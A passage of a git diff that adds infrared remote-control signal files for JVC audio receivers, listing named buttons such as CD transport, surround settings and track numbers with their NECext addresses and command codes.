00 +# +name: FM/AM_+10 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 2F 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 2F 00 00 00 +# +name: SEA_ON/OFF_SEA +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 30 00 00 00 +# +name: SEA_ON/OFF +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 30 00 00 00 +# +name: ON/OFF +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 30 00 00 00 +# +name: SEA_SOURCE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 30 00 00 00 +# +name: SEA_LEVEL_ON/OFF +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 30 00 00 00 +# +name: SEA_63_HZ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 31 00 00 00 +# +name: SEA_CON._63HZ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 31 00 00 00 +# +name: CONTROL_1_63HZ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 31 00 00 00 +# +name: SEA_63HZ(1) +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 31 00 00 00 +# +name: SEA_160_HZ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 32 00 00 00 +# +name: SEA_CON._160HZ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 32 00 00 00 +# +name: CONTROL_2_160HZ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 32 00 00 00 +# +name: SEA_160HZ(2) +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 32 00 00 00 +# +name: SEA_400_HZ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 33 00 00 00 +# +name: SEA_CON._400HZ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 33 00 00 00 +# +name: CONTROL_3_400HZ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 33 00 00 00 +# +name: SEA_400HZ(3) +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 33 00 00 00 +# +name: SEA_1KHZ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 34 00 00 00 +# +name: SEA_CON._1KHZ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 34 00 00 00 +# +name: CONTROL_4_1KHZ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 34 00 00 00 +# +name: SEA_1KHZ(4) +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 34 00 00 00 +# +name: SEA_2.5_KHZ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 35 00 00 00 +# +name: SEA_CON._2.5KHZ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 35 00 00 00 +# +name: CONTROL_5_2.5KHZ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 35 00 00 00 +# +name: SEA_25KHZ(5) +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 35 00 00 00 +# +name: SEA_6.3_KHZ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 36 00 00 00 +# +name: SEA_CON._6.3KHZ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 36 00 00 00 +# +name: CONTROL_6_6.3KHZ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 36 00 00 00 +# +name: SEA_63KHZ(6) +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 36 00 00 00 +# +name: SEA_16_KHZ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 37 00 00 00 +# +name: SEA_CON._16KHZ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 37 00 00 00 +# +name: CONTROL_7/P_16KHZ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 37 00 00 00 +# +name: SEA_16KHZ(7) +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 37 00 00 00 +# +name: SEA_PRESET_SEA +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 38 00 00 00 +# +name: SEA_PRESET +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 38 00 00 00 +# +name: PRESET +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 38 00 00 00 +# +name: SEA_MODE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 38 00 00 00 +# +name: SEA_LVL_PRESET() +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 38 00 00 00 +# +name: SEA_MODE_(+10) +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 38 00 00 00 +# +name: SEA_UP_+ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 3A 00 00 00 +# +name: SEA_CON._SEA_LEVEL_+ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 3A 00 00 00 +# +name: CONTROL_9_+_SEA_LEV. +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 3A 00 00 00 +# +name: SEA_LEVEL_+ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 3A 00 00 00 +# +name: SEA_LEVEL_(+>) +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 3A 00 00 00 +# +name: SEA_DOWN_- +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 3B 00 00 00 +# +name: SEA_CON._SEA_LEVEL_- +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 3B 00 00 00 +# +name: CONTROL_8_-_SEA_LEV. +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 3B 00 00 00 +# +name: SEA_LEVEL_- +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 3B 00 00 00 +# +name: SEA_LVL_FREQ(-[]) +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 3B 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 3C 00 00 00 +# +name: PHONO_SOURCE_SELECT +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 3C 00 00 00 +# +name: PHONO_PLAY_> +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 3C 00 00 00 +# +name: SOURCE_SELECT_PHONO +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 3C 00 00 00 +# +name: SOURCE_SLCT_PHONO +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 3C 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 3D 00 00 00 +# +name: CD_SOURCE_SELECT +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 3D 00 00 00 +# +name: CD_PLAY_> +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 3D 00 00 00 +# +name: SOURCE_SELECT_CD +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 3D 00 00 00 +# +name: SOURCE_SLCT_CD +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 3D 00 00 00 +# +name: AUX-2_(AUDIO) +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 3E 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 3F 00 00 00 +# +name: TAPE_1_SOURCE_SELECT +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 3F 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 3F 00 00 00 +# +name: TAPE1_PLAY_> +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 3F 00 00 00 +# +name: SOURCE_SELECT_TAPE_1 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 3F 00 00 00 +# +name: SOURCE_SLCT_TAPE1 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 3F 00 00 00 +# +name: TAPE1 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 3F 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 43 00 00 00 +# +name: VIDEO1 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 43 00 00 00 +# +name: INPUT_-_DVR/DVD +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 43 00 00 00 +# +name: DAP_DELAY_TIME +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 48 00 00 00 +# +name: SURROUND_DELAY +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 48 00 00 00 +# +name: SURR_DELAY_(+) +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 48 00 00 00 +# +name: SURR_DELAY_(1) +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 48 00 00 00 +# +name: DAP_REAR_LEVEL_+ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 4E 00 00 00 +# +name: SURROUND_REAR_+ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 4E 00 00 00 +# +name: CH_REAR_LEVEL_+ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 4E 00 00 00 +# +name: SUR_LVL_REAR_LVL_+ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 4E 00 00 00 +# +name: SURR_REAR_+_(6) +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 4E 00 00 00 +# +name: REAR_VOL+ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 4E 00 00 00 +# +name: REAR_LEVEL_+ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 4E 00 00 00 +# +name: DAP_REAR_LEVEL_- +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 4F 00 00 00 +# +name: SURROUND_REAR_- +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 4F 00 00 00 +# +name: CH_REAR_LEVEL_- +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 4F 00 00 00 +# +name: SUR_LVL_REAR_LVL_- +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 4F 00 00 00 +# +name: SURR_REAR_-_(5) +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 4F 00 00 00 +# +name: REAR_VOL- +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 4F 00 00 00 +# +name: REAR_LEVEL_- +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 4F 00 00 00 +# +name: CSRP +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 52 00 00 00 +# +name: CSRP_ON/OFF +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 52 00 00 00 +# +name: DAP_DAP_MODE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 58 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 58 00 00 00 +# +name: SURROUND_MODE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 58 00 00 00 +# +name: SURR_CENTER_MODE_(-) +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 58 00 00 00 +# +name: SURR_MODE_(10) +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 58 00 00 00 +# +name: DAPDOLBY_DAP_MODE(6) +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 58 00 00 00 +# +name: SURROUND +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 58 00 00 00 +# +name: FM_MODE/MUTE_(0) +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 5A 00 00 00 +# +name: FM_MODE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 5A 00 00 00 +# +name: DAP_DAP_LEVEL_+ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 5E 00 00 00 +# +name: SURROUND_VOLUME_+ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 5E 00 00 00 +# +name: DAP_DAP_LEVEL_- +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 5F 00 00 00 +# +name: SURROUND_VOLUME_- +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 5F 00 00 00 +# +name: INPUT_-_DBS +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 63 00 00 00 +# +name: SEA_CON._DISPLAY +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 70 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 70 00 00 00 +# +name: SEA_DISPLAY +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 70 00 00 00 +# +name: SEA_CON._SEA_DISPLAY +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 70 00 00 00 +# +name: CSRP_DISPLAY +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 72 00 00 00 +# +name: ON_SCREEN +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 73 00 00 00 +# +name: SURR:ANLG/DIG. +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 74 00 00 00 +# +name: BASS_BOOST +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 75 00 00 00 +# +name: TUNING_+ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 78 00 00 00 +# +name: TUNING_- +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 79 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 7B 00 00 00 +# +name: EQ:_LEVEL_+ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 80 00 00 00 +# +name: EQ:_LEVEL_- +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 90 00 00 00 +# +name: SEA_FREQUENCY_+ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: A8 00 00 00 +# +name: EQ:_FREQUENCY +type: parsed +protocol: NECext +address: A3 00 00 00 +command: A8 00 00 00 +# +name: SEA_FREQUENCY_- +type: parsed +protocol: NECext +address: A3 00 00 00 +command: A9 00 00 00 +# +name: DAP_DAP_ON/OFF +type: parsed +protocol: NECext +address: A3 00 00 00 +command: D5 00 00 00 +# +name: INPUT_-_DVD_MULTI +type: parsed +protocol: NECext +address: A3 00 00 00 +command: D6 00 00 00 +# +name: DAP_TEST +type: parsed +protocol: NECext +address: A3 00 00 00 +command: D7 00 00 00 +# +name: SURROUND_TEST +type: parsed +protocol: NECext +address: A3 00 00 00 +command: D7 00 00 00 +# +name: SURR_TEST_(+) +type: parsed +protocol: NECext +address: A3 00 00 00 +command: D7 00 00 00 +# +name: DAP_TEST_(>>) +type: parsed +protocol: NECext +address: A3 00 00 00 +command: D7 00 00 00 +# +name: SURR_TEST_(4) +type: parsed +protocol: NECext +address: A3 00 00 00 +command: D7 00 00 00 +# +name: DAPDOLBY_TEST +type: parsed +protocol: NECext +address: A3 00 00 00 +command: D7 00 00 00 +# +name: TEST +type: parsed +protocol: NECext +address: A3 00 00 00 +command: D7 00 00 00 +# +name: DAP_CENTER_LEVEL_+ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: D8 00 00 00 +# +name: PRESET_CENTER_L.+ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: D8 00 00 00 +# +name: SUR_LVL_CTR_LVL_+ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: D8 00 00 00 +# +name: SURROUND_CTR_+ +type: parsed +protocol: NECext +address: A3 00 00 00 +command: D8 00 00 00 +# +name: DAP_CENTER_(+>) +type: parsed +protocol: NECext +address: A3 00 00 00 +command: D8 00 00 00 +# +name: SURR_CNTR_+_(3) +type: parsed +protocol: NECext +address: A3 00 00 00 +command: D8 00 00 00 +# +name: DAP_CENTER_LEVEL_- +type: parsed +protocol: NECext +address: A3 00 00 00 +command: D9 00 00 00 +# +name: PRESET_CENTER_L.- +type: parsed +protocol: NECext +address: A3 00 00 00 +command: D9 00 00 00 +# +name: SUR_LVL_CTR_LVL_- +type: parsed +protocol: NECext +address: A3 00 00 00 +command: D9 00 00 00 +# +name: SURROUND_CTR_- +type: parsed +protocol: NECext +address: A3 00 00 00 +command: D9 00 00 00 +# +name: DAP_REAR_(-[]) +type: parsed +protocol: NECext +address: A3 00 00 00 +command: D9 00 00 00 +# +name: SURR_CNTR_-_(2) +type: parsed +protocol: NECext +address: A3 00 00 00 +command: D9 00 00 00 +# +name: C._TONE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: E7 00 00 00 +# +name: DAP_MODE_SIZE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: F5 00 00 00 +# +name: DAPDOLBY_SIZE_(3) +type: parsed +protocol: NECext +address: A3 00 00 00 +command: F5 00 00 00 +# +name: DAP_MODE_LIVE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: F6 00 00 00 +# +name: DAP_MODE_WALL +type: parsed +protocol: NECext +address: A3 00 00 00 +command: F7 00 00 00 +# +name: DAPDOLBY_WALL_(4) +type: parsed +protocol: NECext +address: A3 00 00 00 +command: F7 00 00 00 +# +name: DAPDOLBY_LEVEL+_(8) +type: parsed +protocol: NECext +address: A3 00 00 00 +command: F8 00 00 00 +# +name: DAPDOLBY_LEVEL-(7/P) +type: parsed +protocol: NECext +address: A3 00 00 00 +command: F9 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/175,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/175,-1.ir new file mode 100644 index 000000000..393565dfc --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/175,-1.ir @@ -0,0 +1,128 @@ +Filetype: IR signals file +Version: 1 +# +name: DAP_DELAY/EFECT(<<) +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 00 00 00 00 +# +name: SURR_EFFECT_+_(9) +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 00 00 00 00 +# +name: EFFECT +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 00 00 00 00 +# +name: SURR_EFFECT_-_(8) +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 01 00 00 00 +# +name: DAP_MODE_() +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 05 00 00 00 +# +name: DAP_MODE_(0) +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 05 00 00 00 +# +name: SURR:MIDNIGHT +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 08 00 00 00 +# +name: INPUT_-_USB +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 33 00 00 00 +# +name: CSRP_MODE +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 60 00 00 00 +# +name: ^_(SHIFT+^) +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 70 00 00 00 +# +name: CURSOR_^ +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 70 00 00 00 +# +name: V_(SHIFT+V) +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 71 00 00 00 +# +name: CURSOR_V +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 71 00 00 00 +# +name: >_(SHIFT+>) +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 72 00 00 00 +# +name: CURSOR_> +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 72 00 00 00 +# +name: <_(SHIFT+<) +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 73 00 00 00 +# +name: CURSOR_< +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 73 00 00 00 +# +name: EXIT_(SHIFT+CHANNEL) +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 78 00 00 00 +# +name: MENU_EXIT +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 78 00 00 00 +# +name: SET_(SHIFT+MUTE) +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 79 00 00 00 +# +name: MENU_SET +type: parsed +protocol: NECext +address: AF 00 00 00 +command: 79 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/179,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/179,-1.ir new file mode 100644 index 000000000..fa6e89728 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/179,-1.ir @@ -0,0 +1,1112 @@ +Filetype: IR signals file +Version: 1 +# +name: PHONO_STOP_[] +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 03 00 00 00 +# +name: PHONO_STOP_[]_(4) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 03 00 00 00 +# +name: PHONO_STOP +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 03 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 03 00 00 00 +# +name: PHONO_PLAY_> +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 0C 00 00 00 +# +name: PHONO_PLAY_>_(1) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 0C 00 00 00 +# +name: PHONO_PLAY +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 0C 00 00 00 +# +name: CD_STOP_[] +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 43 00 00 00 +# +name: CD_STOP_[]_(4) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 43 00 00 00 +# +name: CD_STOP[] +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 43 00 00 00 +# +name: CD_STOP_(-_[]) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 43 00 00 00 +# +name: CD_STOP +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 43 00 00 00 +# +name: CD_EJECT_(10) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 44 00 00 00 +# +name: CD_OPEN/CLOSE +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 44 00 00 00 +# +name: CD_PLAY_> +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 4C 00 00 00 +# +name: CD_PLAY_>_(1) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 4C 00 00 00 +# +name: CD_PLAY> +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 4C 00 00 00 +# +name: CD_PLAY_(+_>) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 4C 00 00 00 +# +name: CD_PLAY +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 4C 00 00 00 +# +name: CD_PAUSE_ +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 4D 00 00 00 +# +name: CD_PAUSE_(5) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 4D 00 00 00 +# +name: CD_PAUSE_() +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 4D 00 00 00 +# +name: CD_PAUSE +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 4D 00 00 00 +# +name: CD_SKIP_<< +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 58 00 00 00 +# +name: CD_<<_(2) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 58 00 00 00 +# +name: CD_A.SEARCH_REV_<< +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 58 00 00 00 +# +name: CD_SKIP_REV_<< +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 58 00 00 00 +# +name: CD_SKIP_< +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 58 00 00 00 +# +name: CD_AUTO_SEARCH_<< +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 58 00 00 00 +# +name: AUTO_SEARCH_<< +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 58 00 00 00 +# +name: CD_<< +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 58 00 00 00 +# +name: CD_REW/<< +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 58 00 00 00 +# +name: CD_SKIP_>> +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 59 00 00 00 +# +name: CD_>>(3) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 59 00 00 00 +# +name: CD_A.SEARCH_FWD_>> +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 59 00 00 00 +# +name: CD_SKIP_FWD_>> +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 59 00 00 00 +# +name: CD_SKIP_> +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 59 00 00 00 +# +name: CD_AUTO_SEARCH_>> +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 59 00 00 00 +# +name: AUTO_SEARCH_>> +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 59 00 00 00 +# +name: CD_>> +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 59 00 00 00 +# +name: CD_FF/>> +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 59 00 00 00 +# +name: TRACK_0 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 60 00 00 00 +# +name: CD_10KEY_0 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 60 00 00 00 +# +name: CD_TRACK_0 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 60 00 00 00 +# +name: CD_0 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 60 00 00 00 +# +name: TRACK_1 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 61 00 00 00 +# +name: CD_10KEY_1 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 61 00 00 00 +# +name: CD_TRACK_1 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 61 00 00 00 +# +name: TV_1 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 61 00 00 00 +# +name: CD_1 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 61 00 00 00 +# +name: TRACK_2 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 62 00 00 00 +# +name: CD_10KEY_2 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 62 00 00 00 +# +name: CD_TRACK_2 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 62 00 00 00 +# +name: TV_2 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 62 00 00 00 +# +name: CD_2 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 62 00 00 00 +# +name: TRACK_3 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 63 00 00 00 +# +name: CD_10KEY_3 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 63 00 00 00 +# +name: CD_TRACK_3 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 63 00 00 00 +# +name: TV_3 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 63 00 00 00 +# +name: CD_3 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 63 00 00 00 +# +name: TRACK_4 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 64 00 00 00 +# +name: CD_10KEY_4 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 64 00 00 00 +# +name: CD_TRACK_4 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 64 00 00 00 +# +name: TV_4 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 64 00 00 00 +# +name: CD_4 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 64 00 00 00 +# +name: TRACK_5 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 65 00 00 00 +# +name: CD_10KEY_5 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 65 00 00 00 +# +name: CD_TRACK_5 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 65 00 00 00 +# +name: TV_5 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 65 00 00 00 +# +name: CD_5 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 65 00 00 00 +# +name: TRACK_6 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 66 00 00 00 +# +name: CD_10KEY_6 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 66 00 00 00 +# +name: CD_TRACK_6 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 66 00 00 00 +# +name: TV_6 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 66 00 00 00 +# +name: CD_6 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 66 00 00 00 +# +name: TRACK_7/P +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 67 00 00 00 +# +name: CD_10KEY_7/P +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 67 00 00 00 +# +name: CD_TRACK_7 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 67 00 00 00 +# +name: TV_7/P +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 67 00 00 00 +# +name: CD_7/P +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 67 00 00 00 +# +name: CD_7 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 67 00 00 00 +# +name: TRACK_8 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 68 00 00 00 +# +name: CD_10KEY_8 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 68 00 00 00 +# +name: CD_TRACK_8 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 68 00 00 00 +# +name: TV_8 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 68 00 00 00 +# +name: CD_8 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 68 00 00 00 +# +name: TRACK_9 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 69 00 00 00 +# +name: CD_10KEY_9 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 69 00 00 00 +# +name: CD_TRACK_9 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 69 00 00 00 +# +name: TV_9 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 69 00 00 00 +# +name: CD_9 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 69 00 00 00 +# +name: TRACK_10 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 6E 00 00 00 +# +name: CD_10KEY_10 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 6E 00 00 00 +# +name: CD_TRACK_10 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 6E 00 00 00 +# +name: TV_10 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 6E 00 00 00 +# +name: CD_10 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 6E 00 00 00 +# +name: CD_10_CONTINUE +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 6E 00 00 00 +# +name: TRACK_+10 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 6F 00 00 00 +# +name: CD_10KEY_+10 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 6F 00 00 00 +# +name: CD_TRACK_+10 